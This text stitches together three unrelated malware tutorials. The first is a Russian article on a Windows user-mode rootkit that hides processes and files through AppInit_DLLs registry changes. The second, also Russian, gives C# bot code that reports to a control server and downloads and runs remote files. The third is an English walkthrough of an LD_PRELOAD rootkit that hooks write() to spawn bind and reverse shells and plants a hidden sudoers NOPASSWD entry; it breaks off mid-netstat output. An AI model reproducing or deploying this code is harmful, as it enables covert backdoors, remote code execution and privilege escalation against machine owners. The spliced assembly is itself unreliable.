User-mode rootkit: Скрытие файлов и процессов от пользователя
Всем привет.
Решил я «поиграться с руткитами», особенно понравились две статьи от уважаемого @Nik Zerof с «Хакера»:
https://xakep.ru/2018/01/26/winapi-hooks/
https://xakep.ru/2018/03/14/kmdf-driver/
Но тем не менее с одной стороны вроде всё понятно расписано, но с другой как мне показалось тема «сисек» до конца не раскрыта, в части боевого применения указанных методик.
Поэтому решил я посмотреть какие есть уже наработки и может-быть сделать что-то «свое», в кавычках т.к. многие вещи уже сделаны, иногда может проще сделать модификацию чего-то, чем писать с нуля…)
Итак для начала, небольшей ликбез какие бывают руткиты и для чего они нужны:
Я разделил такого типа программы на два класса:
1)User-mode rootkit (ring 3):
О них пойдет речь в этой статье, также здесь будет форк (Переработанная мной версия руткита r77 (https://bytecode77.com/hacking/payloads/r77-rootkit)), с автоматической установкой и удалением.
Итак User-mode руткиты, предназначены для скрытия сторонних программ непосредственно от пользователя, НО не от защитных решений, т.е. мы можем скрыть программу от диспетчера задач,
скрыть отображения файла в експлорере, процесс-хакере и т.д.
НО в данном типе руткита мы не можем скрыть процесс от антивирусов, файерволов и т.д. Т.к. они работают в режиме ядра и тут ничего не сделать в юзер-моде.:(
Итак вкратце плюсы таких программ:
-
Относительно легко их писать. С основными техниками мы ознакомимся ниже.
-
Легко устанавливать и внедрять в систему. Нужны только права администратора.
Минусы таких программ:
Как я уже сказал, мы несможем скрыть от защитных решений, которые работают на уровне ядра.
2)kernel-mode rootkit (ring 1):
Ну тут мы хозяева системы, мы можем скрывать своих зверьков как от пользователя, так и от защитных решений…
Плюсы таких решений:
Ну тут понятно, что можем написать такой руткит, что никто и никогда не найдет вашего зверька, даже если антивирусы добавят его в базы, ведь мы можем удалить процесс из списка процессов,
удалить отображение файла в файловой системе, управлять выводом и что хочешь делать…
Рекомендую почитать статью: https://xakep.ru/2018/03/14/kmdf-driver/
Минусы таких решений:
-
Нужно понимать, что чем больше сила, тем больше ответственность, «Мы сами себе буратины», чуть ошиблись и синий экран смерти станет вашим другом.)
-
Для инсталяции таких драйверов нужна цифровая подпись, да можно купить, но если заниматься черными делами, то подпись быстро заблокируют, а она стоит 300 баксов.
Итак с теорией в этой части всё, идем дальше:
Теперь небольшей ликбез о User-mode руткитах, как они работают:
Не секрет, что программы подключают сторонние библиотеки, для использования как API винды, так и каких-то сторонних функций.
Этим и пользуются взломщики, если сделать инжект в нужный процесс, то можно поставить хук на нужную функцию и подменить результаты работы этой функции,
более подробней про это можно прочитать здесь (Техника называется сплайсинг функций): https://xakep.ru/2018/01/26/winapi-hooks/
В статье сказано про платные библиотеки сплайсеров функции (Detours и madCodeHook), но не сказано про бесплатные аналоги, в данном решении я решил воспользоваться (https://github.com/TsudaKageyu/minhook)
да она не бесглючная, но в целом для демонстрации подхода, который будет описан здесь, вполне сгодится.)
Также если глянете исходник MinHook там как мне кажется не плохой «Hacker Disassembler Engine», отличный дизассемблер длин инструкций, можно его использовать для написания своего сплайсера,
но мне было лень заморачиваться, т.к. хотелось реализовать «свой подход», в кавычках т.к. тема не нова, уже есть разные движки, но было интересно поиграть…)))
Небольшей ликбез по сплайсерам:
Существует несколько библиотек перехвата API. Как правило, они делают следующее:
-
Заменяет начальную часть определенного функционального кода нашим собственным кодом (также известным как трамплин).
-
После выполнения функция переходит к обработчику хука.
-
Сохраняет исходную версию замененного кода оригинальной функции. Это необходимо для правильной работы оригинальной функции.
-
Восстанавливает замененную часть оригинальной функции.
Также нужно сказать, что есть два вида хуков функции:
Local hooks: Это хуки для конкретной программы (То-что описано в первой статье от @Nik Zerof).
Global hooks: Это хуки для всех программ, то-что сделаем мы.)
Как я упоминал ранее, при создании наших глобальных хуков мы будем использовать библиотеку Mhook.
Это бесплатная и простая в использовании библиотека с открытым исходным кодом для перехвата API Windows, поддерживающая архитектуры систем x32 и x64. Его интерфейс не сложен и не требует пояснений.
Теперь перейдем непосредственно к написанию нашего руткита:
Для скрытия процесса и файла в директории нам нужно перехватить как минимум две системные функции:
1)NtQuerySystemInformation — Получает огромный объем различной системной информации, в том числе и о процессах.
Многие функции Win32 в конечном итоге обращаются именно к этой функции для получения информации о процессах (Диспетчер задач, процесс хакер и т.д.).
Поэтому достаточно перехватить эту функцию в приложении и модифицировать структуру списка процессов.)
2)NtQueryDirectoryFile — Получает список файлов в директории.
Перехватив эту функцию, мы также можем модифицировать структуру списка файла (Будто файла и нет вовсе).
Теперь описание нашего руткита, что он делает и как всё устроено:
Задача, скрыть процессы и отображение файла как минимум в эксплорере винды и диспетчера задача.)
Для этого будет сделано следующее:
1)Написана dll, которая будет загружаться во всех приложениях и устанавливать глобальных хук на указанные выше функции.
2)Написан батник, который будет загружать наш руткит, что конкретно будет делать батник:
Есть ветка в реесте:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NT CurrentVersionWindows
А конкретно интересны следующие параметры:
AppInit_DLLs — определяет библиотеки, необходимые для совместимости с каким_нибудь оборудованием или программой.
Все описанные в данном параметре библиотеки будут запускаться перед запуском любой программы.
А также:
RequireSignedAppInit_DLLs — Если единица, то будет процерка цифровой подписи указанных в AppInit_DLLs библиотек (Нам нужно установить в ноль).
LoadAppInit_DLLs — Разрешает загрузку библиотек в глобальные области (Нам нужна единица).
Батник добовляет библиотеки руткита в AppInit_DLLs и устанавливает нужные параметры и перезапускает эксплорер.
Также для беккапа, делает экспорт ветки реестра, есть и батник удаляющий руткит из реестра.
После инсталяции руткит начнет работать и файлы помеченные в названием меткой «HIDE» не будут отображаться в эксплорере и диспетчере задач, а также в процесс-хакере и т.д.
Минусы данного способа:
-
Могут быть затронуты только процессы, подключенные к User32.dll.
-
Могут быть вызваны только функции из Ntdll.dll и Kernel32.dll: причина в том, что перехват DLL происходит в DllMain файла User32.dll, и никакая другая библиотека не инициализируется в этот момент.
-
Нужно модифицировать реестр для инсталяции метода, для этого нужно обладать правами администратора системы.
ИСПОЛЬЗУЕМЫЕ ИСТОЧНИКИ:
-
Это альтернативная версия данного руткита:https://bytecode77.com/hacking/payloads/r77-rootkit
-
Альтернативная статья по скрытию процессов:https://www.apriorit.com/dev-blog/160-apihooks
-
Журнал «Хакер», статьи:
https://xakep.ru/2018/01/26/winapi-hooks/
https://xakep.ru/2018/03/14/kmdf-driver/
Отличие от оригинального руткита:
1)Был написан батник для автоматической инсталяции руткита, способ установки руткита и проверки работоспособности:
-
В папке $Build для теста запустить «HIDE-ExampleExecutable_x64.exe» и «HIDE-ExampleExecutable_x86.exe».
-
Запустить диспетчер задач и посмотреть, что процессы отображаются в списке процессов.
-
Запустить файл «install.bat», ОБЯЗАТЕЛЬНО С ПРАВАМИ АДМИНИСТРАТОРА, перезапутить диспетчер задач и файлов в процессах уже не будет, также произойдет перезапуск explorer
и файлы перестанут отображаться в папке.) -
Для удаления сделайте следующее:
Батник «install.bat» сделает беккап ветке в файл «uninstall.reg», который появится после запуска батника, можно сделать экспорт этого файла.
Либо есть отдельный скрипт «uninstall.bat», достаточно запутить его.
2)Был убран мусор в коде и добавлен отладочный вывод, что руткит работает сигнализирует файл «С:rootkit_debug.txt», если он не появился, значит что-то пошло нетак и руткит незапустился.)
Протестировано на Windows 7 x64 и Windows 10.
Данная статья является первой моей статьей о руткитах для Windows и Linux.
Решил сделать цикл статей.)))
Сканы антивирусов на руткит:
Скан x86:
https://avcheck.net/id/Nk58BK40GpFy
Скан x64:
https://avcheck.net/id/y8l28ftIaGTj
Статья на форуме:https://ru-sfera.org/threads/user-mode-rootkit-for-windows-skrytie-fajlov-i-processov-ot-polzovatelja.3912/
Говорю сразу, мне 14 лет, софт такого типа я пишу уже давно, вообще начинал я с Delphi, но на то что-бы писать что-то подобное на C# меня вдохновил SooLFaa и его темы об BotNet’e на С#.
Давайте начнём с функций данного чуда, они как и у всех rootkit’ах минимальные, предназначены только для того что-бы добыть информацию об устройстве и отправить её на сервер, а дальше админ уже сможет подгружать на это устройство сторонний софт, исходя из информации которую он получил.
Пока я напишу только каркас, и загрузку файла с последующим запуском.
А теперь об работе, в данном случае мы будем использовать Web сервер, а общение с ним будет проходить с помощью GET запросов.
Так выглядит класс в котором есть всё что нужно для работы с сервером:
C#:
namespace Kernel
{
class HTTPGet
{
public static string Indication()
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/reception.php?" + "id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
return new StreamReader(response.GetResponseStream()).ReadToEnd();
}
public static void File(string _file, string dir)
{
WebClient myWebClient = new WebClient();
System.Uri Site = new Uri(Config.RootKitServer + @"/files/" + _file);
myWebClient.DownloadFile(Site, dir + _file);
}
}
class HTTPSend
{
public static void File(string file)
{
System.Net.WebClient Client = new System.Net.WebClient();
Client.Headers.Add("Content-Type", "binary/octet-stream");
byte[] result = Client.UploadFile(Config.RootKitServer + "/sfile.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword, "POST", file);
string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
}
public static void Info(string data, string type)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/dispatch.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword + "&info=" + data);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
}
}
}
Так то, тут 2 класса, так просто удобней работать.
Как вы уже могли заметить, сервер опридиляет юзера по MAC адресу.
Вот так кстати его можно достать из системы:
C#:
public static string macAddresses()
{
string macAddresses = "";
foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
{
if (nic.OperationalStatus == OperationalStatus.Up)
{
macAddresses += nic.GetPhysicalAddress().ToString();
break;
}
}
return macAddresses;
}
А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:
C#:
public static bool EmergencyCopy()
{
string filename = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
string name = filename.Substring(0, filename.IndexOf('.'));
Process[] pr = Process.GetProcesses();
int count = 0;
for (int i = 0; i < pr.Length; i++)
{
if (pr[i].ProcessName == name || pr[i].ProcessName == name + ".exe")
{
count++;
}
}
if (count > 1) { return true; } else { return false; };
}
Ничего сложного.
А теперь перейдём к сложному, к самому Main классу программы, в котором и будет происходить всё самое интересное. Я сделал его по принципу switch to switch, так проще всего смотреть на код, что на счёт оптимизации, то можете подсказать в коментах. А вот и он:
C#:
static void Main(string[] args)
{
try
{
Thread.Sleep(Config.IntervalToStrart);
if (EmergencyCopy())
{
Environment.Exit(0);
}
if (Config.persistence)
{
startup(true);
}
string Indication = null, type = null, subtype = null, cmd = null;
while (true)
{
Thread.Sleep(Config.IntervalToGetInst);
Indication = HTTPGet.Indication();
if (Indication != "")
{
type = Indication.Substring(0, Indication.IndexOf('.'));
subtype = Indication.Substring(Indication.IndexOf('.') + 1, Indication.IndexOf('=') - Indication.IndexOf('.') - 1);
cmd = Indication.Substring(Indication.IndexOf('=') + 1);
switch (type)
{
case "File":
switch (subtype)
{
case "Upload":
try
{
string Fcmd = cmd.Substring(0, cmd.IndexOf(',')), Scmd = cmd.Substring(cmd.IndexOf(',') + 1); //
HTTPGet.File(Fcmd, Scmd); //Dir, File
System.Diagnostics.Process.Start(Fcmd+Scmd);
} catch { HTTPSend.Info("Error: Failed to upload file to device!", "err"); }
break;
}
break;
}
}
}
} catch {
System.Diagnostics.Process.Start(Assembly.GetExecutingAssembly().Location);
Environment.Exit(0);
}
}
Вот пока и всё, если тема зайдёт буду писать дальше, а пока загрузки и запуска файла в общем хватит. Сервер у меня уже написан, если кому нужно пишите в коменты.
Думаю с Config файлом вы сможете и сами разобраться.
32 minute read
Background Information
This post is my solution for the last assignment in my Learning-C repository. I thought a good way to cap off a repo designed to introduce people to very basic C programming would be to take those very basic techinques and make a simple yet powerful security related program, namely a malicious shared library rootkit.
I came across LD_PRELOAD rootkits while watching a talk by @r00tkillah in 2016 about his initrd rootkit. He talks about historical approaches to Linux rootkits and the LD_PRELOAD approach gets some good coverage. Since it was described in the talk as a userland approach, I started reading about them and quickly discovered a few well-known implementations, namely the Jynx Rootkit. Jynx has a lot of articles discussing its features and how to detect it. It was fairly robust, checking in at around 1,500 lines of code in the main file and hooking ~20 syscalls.
My goal for this assignment since we had just learned how to hook syscalls in the previous assignment, was to create a userland rootkit which:
- provided a backdoor/command-shell opportunity,
- hid malicious network connections from
netstat
(and maybelsof
), and - hid malicious files.
To be clear: I’m fully aware this isn’t a robust, ground breaking program. These techniques have been analyzed and discussed for around 7 years now. BUT it is sort of a niche subject and something I don’t think many people have come across. I would also like to just point people towards blogs and posts that detail the technical details at play here instead of expounding on those details myself, as I am not an expert.
Do not use these techinques for malicious purposes. The technical explanation of the code and techniques below are simply my understanding of how they work. It is entirely possible I have completely misinterpreted how these programs behave and running them on your system could cause damage.
A lot has been written on the topic of Shared Libraries so I won’t spend much time here explaining them (we even touched on them in the last post). Shared or dynamic libraries define functions that the dynamic linker links to other programs during their run time. A common example is libc. This reduces the amount of code you need in a program executable because it shares function definitions with a library.
LD_PRELOAD
is a configurable environment variable that allows users to specify a shared library to be loaded into memory for programs before other shared libraries. Just a quick example, if we check the shared libraries used by /bin/ls
on a standard x86 Kali box, we get:
tokyo:~/ # ldd /bin/ls
linux-gate.so.1 (0xb7fcf000)
libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0xb7f57000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d79000)
libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0xb7d00000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7cfa000)
/lib/ld-linux.so.2 (0xb7fd1000)
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7cd9000)
So we see a number of shared library dependencies for /bin/ls
. If we set the environment variable for LD_PRELOAD
to a notional shared library we can actually change what shared library dependencies that binary has. Furthermore, LD_PRELOAD
allows us to specify that our chosen library is loaded into memory before all others. We can create a shared library called example.so
and export it LD_PRELOAD
as follows, and then check the library dependencies of /bin/ls
:
tokyo:~/LearningC/ # export LD_PRELOAD=$PWD/example.so
tokyo:~/LearningC/ # ldd /bin/ls
linux-gate.so.1 (0xb7fc0000)
/root/LearningC/example.so (0xb7f8f000)
libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0xb7f43000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d65000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7d5f000)
libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0xb7ce6000)
/lib/ld-linux.so.2 (0xb7fc2000)
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7cc5000)
As you can see, our library at /root/LearningC/example.so
is loaded first before any other library on disk. (Awesome explanation of that first library, “linux-gate.so.1
”)
It should be noted that by not specifying a binary after the path to our shared library, LD_PRELOAD
will use the specified shared library for all dynamically linked programs system wide.
/etc/ld.so.preload
As a way to avoid setting environment variables, we are also allowed to create a text file called /etc/ld.so.preload
and shared libraries stored in this file delimited by a white space will be LD_PRELOAD
‘d in a sense in the order that they’re written, again, system-wide. There is no way to specify a binary this way, this will apply to all dynamically linked programs. We can see that dynamically linked programs check for this file’s existence when they are called upon by using the strace
utility to spy on what system calls a program makes when run. Let’s again try /bin/ls
:
tokyo:~/LearningC/ # strace /bin/ls
execve("/bin/ls", ["/bin/ls"], 0xbf8d8e60 /* 47 vars */) = 0
brk(NULL) = 0xbc1000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ed6000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
-----snip-----
As you can see, /bin/ls
calls the access()
syscall, and checks to see if it has access to /etc/ld.so.preload
; however, the return value is a -1
indicating that the file does not exist (No such file or directory
).
Let’s create the file and then run this excercise again:
tokyo:~/LearningC/ # echo "" > /etc/ld.so.preload
tokyo:~/LearningC/ # strace /bin/ls
execve("/bin/ls", ["/bin/ls"], 0xbfcba0a0 /* 47 vars */) = 0
brk(NULL) = 0x570000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7eff000
access("/etc/ld.so.preload", R_OK) = 0
openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
-----snip-----
This time, we actually get an openat()
syscall right after access()
because access finishes with a return value of 0
indicating success. openat()
returns a value of 3
as a file descriptor.
Let’s input our malicious example.so
library in /etc/ld.so.preload
and see what strace
has to say about it.
tokyo:~/LearningC/ # strace /bin/ls
execve("/bin/ls", ["/bin/ls"], 0xbf956640 /* 47 vars */) = 0
brk(NULL) = 0x1a8f000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f64000
access("/etc/ld.so.preload", R_OK) = 0
openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=27, ...}) = 0
mmap2(NULL, 27, PROT_READ|PROT_WRITE, MAP_PRIVATE, 3, 0) = 0xb7f92000
close(3) = 0
openat(AT_FDCWD, "/root/LearningC/example.so", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
read(3, "177ELF11133136021004"..., 512) = 512
We see that not only did it open /etc/ld.so.preload
, it read some values from the file and then opened our shared library for reading. We were able to get our shared library loaded into memory for the run time of /bin/ls
.
As we have discussed in the Learning C
progression, this preloading mechanism allows a root
user to powerfully manipulate userland programs. We can effectively redefine common, frequently-used syscall functions and their higher-level abstraction wrapper functions to mean whatever we arbitrarily desire. If you need more information on this portion of our experiment please consult Assignment-27 of our Learning C
repo where we go over a lot of the information discussed so far. In a previous example, we hooked puts()
by using an example found in this blog post to check its buffer for a string and if found, print a different message to the terminal.
The Noob Rootkit “Manteau”
To meet my aforementioned rootkit goals I didn’t have to hook many syscalls. I ended up hooking write()
, readdir()
, readdir64()
, fopen()
, and fopen64()
. If you discount the 64
variations for large file considerations, basically just 3 syscalls. With these 3 syscalls, we can hide from netstat
, lsof
, ls
, and also spawn some plaintext connections to our attacker machine. “Manteau” means cloak in French, let’s make this as corny as possible.
Hooking write()
For a Trigger!
Hooking write()
was surprisingly simple for our purposes. I wanted to create a cool way to activate/trigger our rootkit from an external host. There have been some really cool ways to do this developed over the years but I tried to be somewhat low-tech and original. The Jynx rootkit I have discussed previously in the repo, hooked the accept()
syscall (which we will be using a lot in this post) to check local and source port information of the connection as a way to check if the connection came from the attacker. These values were hardcoded in their malicious library and could be set at compile time. It then would prompt for a password and spawn an encrypted back connect over openssl
. We won’t be doing anything that badass, but we will be doing something cool.
Making Syslog Evil
Initially, when contemplating ways to make a remote host do work after touching it in someway, I landed on the Apache access.log
. What I thought I would do is, I would send a simple GET HTTP
request with a magic string in the User Agent:
field, and when the Apache process wrote that information to disk in the access.log
, our hook would check the write()
buffer for our magic string and if found, spawn a connection to our host.
This actually worked, and it worked really well! However, there was a small problem. It actually required me restarting Apache after specifying our malicious library in /etc/ld.so.preload
so that was aesthetically displeasing to me. I didn’t like the fact that you’d have to restart a webservice for your rootkit, not saying our shared library is super stealth, but knocking over a webserver is kind of high-visibility.
Along those same lines, I discovered that the syslog
user writes failed SSH attempts to auth.log
. It logs the user’s username and IP address. Example entry: Failed password for nobody from 91.205.189.15 port 38556 ssh2
. Awesome, we control the username field (nobody
in the example) in a log on the system. The same problem applies, we must restart syslog after loading our shared library, but this isn’t as high visibility as say, restarting Apache. (Linux sysadmins let me know if I’m wrong about that).
A second problem we face is that we don’t want to come back to this box as syslog
, we want to come back as root
. There are probably a million ways to leave yourself privesc breadcrumbs, especially given that you can hide arbitrary files, but I chose to just visudo
the sudoers
file and add syslog
. I also inserted about 80 newlines after the last bit of visible text in the file before adding the syslog ALL=(ALL) NOPASSWD:ALL
entry so that the casual sudoers
file editor hopefully wouldn’t notice. (LOL)
Alright, so we have a trigger idea and a built in privesc. Let’s write some C finally!
Write Hook
The write()
hook I created is a lot like the puts()
hi-jack we already studied surprisingly. The first portion looks like this:
ssize_t write(int fildes, const void *buf, size_t nbytes)
{
ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);
ssize_t result;
new_write = dlsym(RTLD_NEXT, "write");
char *bind4 = strstr(buf, KEY_4);
char *bind6 = strstr(buf, KEY_6);
char *rev4 = strstr(buf, KEY_R_4);
char *rev6 = strstr(buf, KEY_R_6);
Let’s break this down:
ssize_t write(int fildes, const void *buf, size_t nbytes)
this is the man page declaration of thewrite()
function. This has to match perfectly or the calling process won’t use our shared library as a resource, it will continue to look forwrite()
definition elsewhere. Now that we have the calling process’ attention;ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);
we declare a second function with the same structure as the genuinewrite()
function. This one is actually declaring a pointer but it is not yet initialized (it doesn’t yet point to anything).(*new_write)
says “this is a pointer to a function callednew_write()
” and then the rest of the declaration provides a definition for the function that will eventually be pointed to;new_write = dlsym(RTLD_NEXT, "write");
does something very crucial. We had already declared a pointer tonew_write()
but we hadn’t yet initialized it. Now we are initializing it and giving it a memory address to point to. It is now going to point to the address returned bydlsym
[https://linux.die.net/man/3/dlsym].dlsym
is a way to interface with the dynamic linker and we give it two arguments. We ask it to find the next occurence (RTLD_NEXT
) in the subsequent linked libraries of the call"write"
.dlsym
returns the address of next occurence found of that"write"
symbol. What would that be? Well, it’s going to be the address of the REALwrite()
function, because it’s going to consult the legitimate libraries after ours. So now,new_write
is essentially just a reference to the actual realwrite()
syscall as intended;ssize_t result;
we declare a variable of typessize_t
the data type returned by ourwrite()
function and call itresult
.- The last four lines are very similar,
char *bind4 = strstr(buf, KEY_4);
delcares and initializes a new pointer variable of thechar
type that is equal to the result of thestrstr()
function after comparing the buffer being written (a reference to theconst void *buf
argument in ourwrite()
syscall) to a harcoded defined variableKEY_4
. You can setKEY_4
to whatever you like, I set it to#define KEY_4 "notavaliduser4"
.strstr()
is very interesting. If it finds the second argument within the first argument, it will return a pointer to the first occurence of the second argument. So if it returns aNULL
we know that it didn’t find a match.
Let’s look at the next block of code:
if (bind4 != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes, buf, nbytes);
ipv4_bind();
}
else if (bind6 != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes, buf, nbytes);
ipv6_bind();
}
else if (rev4 != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes, buf, nbytes);
ipv4_rev();
}
else if (rev6 != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes, buf, nbytes);
ipv6_rev();
}
return result;
}
Although long, there’s not a lot to get through here. We’ve basically used if/else if
to check the buffer being written for mulitple sub-strings that we’re using as our trigger. Let’s break it down:
if (bind4 != NULL)
we check to see if the variablebind4
isNULL
and if it’s not, we jump to our logic;fildes = open("/dev/null", O_WRONLY | O_APPEND);
if it’s notNULL
, then we have a match, we know we’re trying to activate the rootkit because we sent our magic stringnotavaliduser4
as an SSH attempt. Of course that will fail, sosyslog
will log that and activate our hookedwrite()
syscall. Since we have a match, we don’t actually want it written to log that we tried to do fishy stuff. So let’s re-route thewrite()
operation by first usingopen()
to open/dev/null
in an append and write mode and then passing that return value to theint filedes
variable we had already used in our function declaration. It should be mentioned that routing to/dev/null
is just one solution, you could also just notwrite()
at all. You are God here (well, userland God anyway);result = new_write(fildes, buf, nbytes);
we now do a normal write operation on/dev/null
and give the return value to ourssize_t result
variable we defined in our function declaration. Thisresult
variable can now be delivered to follow on functions.syslog
calls something likeopen()
to openauth.log
it then callswrite()
because it has a buffer it needs to put in the file (our failed SSH attempt) and then the write operation returns a result in the form of our variableresult
which is probably just an indication of completion or failure. To the process, nothing here is broken, it called write, and got a result as intended. Know that whensyslog
calledwrite()
here, it had values it used as arguments in place of the function declaration arugments. It didn’t passconst void *buf
towrite()
when it called it for example, it passed it something like a pointer to a string that said “failed SSH attempt for…”;ipv4_bind()
is the name of a function that is being called which binds a command shell to a listening port. That function is defined above in the program. We will show what that is later, but essentially it’s just our IPV4 TCP bind shell that we wrote in a previous assignment on port 65065.
So, our trigger hit the write buffer, was written to /dev/null
instead of /var/log/auth.log
, a function opening a bind shell was called, and then finally we need to return the result to the calling process so it knows whether or not the write()
function worked. We accomplish that with the last bit of code return result;
.
We have quite a few possiblities here. All in all, there are 4 distinct triggers for an IPv4 bindshell, IPv6 bindshell, IPv4 reverse-shell, and IPv6 reverse-shell. Let’s dig into those a bit. We won’t recapitulate the entire piece of code in each since we’ve already completed a bind shell, but we’ll focus on the new aspects. Here is each function:
ipv4_bind()
Bind Shell
int ipv4_bind (void)
{
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(LOC_PORT);
addr.sin_addr.s_addr = INADDR_ANY;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
const static int optval = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
listen(sockfd, 0);
int new_sockfd = accept(sockfd, NULL, NULL);
for (int count = 0; count < 3; count++)
{
dup2(new_sockfd, count);
}
char input[30];
read(new_sockfd, input, sizeof(input));
input[strcspn(input, "n")] = 0;
if (strcmp(input, PASS) == 0)
{
execve("/bin/sh", NULL, NULL);
close(sockfd);
}
else
{
shutdown(new_sockfd, SHUT_RDWR);
close(sockfd);
}
}
The new code that wasn’t present in our last implementation of a bind shell, really starts in earnest with read(new_sockfd, input, sizeof(input));
. You can see that a little earlier in the program we had declared a char input[30]
variable. What we’re doing here is executing a read()
syscall and passing it the file descriptor returned by our accept()
command. So when someone makes a connection to our bind shell, we are reading their input.
We use the strcspn()
function, which returns the number of characters in the first argument string that exist before we reach the 2nd argument. So since the user would enter a password and then hit return, they would send something like "reallygoodpasswordn"
as our input
. input[strcspn(input, "n")] = 0;
says the value of the last index of the input
variable is 0
, effectively null terminating our string for us by replacing the newline character with a null terminator. Let’s test out our theory here with this simple code where read input from stdin
and store it in input
:
int main (void)
{
char input[30];
read(0, input, sizeof(input));
input[strcspn(input, "n")] = 0;
printf("The input was %s", input);
}
Let’s compile and run this:
tokyo:~/LearningC/ # gcc test.c -o test
tokyo:~/LearningC/ # ./test
password
The input was password#
So this is what we use to compare the user’s input to our hardcoded password defined by PASS
with the strcmp()
function.
If strcmp()
returns a 0
, indicating the arguments matched, the program issues an execve()
call and pushes to the /bin/sh
program to the connection giving the end user a command shell.
If strcmp()
returns a value other than 0
, indicating there was not a match between the arguments, the socket associated with the accept()
syscall is shutdown, and the listening socket is closed.
The ipv6_rev()
function works very similarly except it has been programmed to deal strictly with IPv6 traffic.
ipv4_rev()
Reverse Shell
Below is the code block defining our IPv4 reverse shell function:
int ipv4_rev (void)
{
const char* host = REM_HOST4;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(REM_PORT);
inet_aton(host, &addr.sin_addr);
struct sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(LOC_PORT);
client.sin_addr.s_addr = INADDR_ANY;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
bind(sockfd, (struct sockaddr*) &client, sizeof(client));
connect(sockfd, (struct sockaddr*) &addr, sizeof(addr));
for (int count = 0; count < 3; count++)
{
dup2(sockfd, count);
}
execve("/bin/sh", NULL, NULL);
close(sockfd);
return 0;
}
The ipv4_rev()
function works very similarly to the bind shell we just explained; however, the remote host address and port have been hardcoded and defined by the REM_HOST4
and REM_PORT
definitions respectively.
One other aspect of the reverse shell, is that we issue a bind()
syscall with the following line: bind(sockfd, (struct sockaddr*) &client, sizeof(client));
. client
in this case is a reference to our client
struct of type sockaddr
which describes the victim host (the client in a reverse shell paradigm). This line of code helps us ensure that the outgoing reverse shell connection is coming from a specific source port (LOC_PORT
or 65065
) on the victim which will come in handy later when we are hiding connections from /bin/netstat
based on a port number.
The IPv6 reverse shell function works very similarly.
Wrapping Up Our write()
Hook
We have hooked all write()
calls system wide and have isolated syslog
writing to the /var/log/auth.log
file to log failed SSH attempts. We use a trigger word as our username, which tells the hooked command to either spawn a bind or reverse shell over either IPv4 or IPv6. We have a lot of options for our backdoor now.
Hiding From netstat
(and lsof
??)
Now that we have a functioning backdoor, it’s time to hide those connections from netstat
. We’ve picked a high port for our shell functions so that the host is always using local port 65065
for our connections. This is a pretty random port to use so we will avoid a lot of false positives hopefully.
To understand how to hide from these utilities, we first have to understand what syscalls they’re making when they’re run. Let’s open up a listener on 65065
and run netstat
with strace
to see what’s going on under the hood:
tokyo:~/LearningC/ # strace netstat -ano | grep -v unix
execve("/usr/bin/netstat", ["netstat", "-ano"], 0xbfd0de64 /* 47 vars */) = 0
-----snip-----
openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY|O_LARGEFILE) = 3
read(3, " sl local_address rem_address "..., 4096) = 450
read(3, "", 4096) = 0
close(3) = 0
-----snip-----
write(1, "Active Internet connections (ser"..., 4096Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 0.0.0.0:65065 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
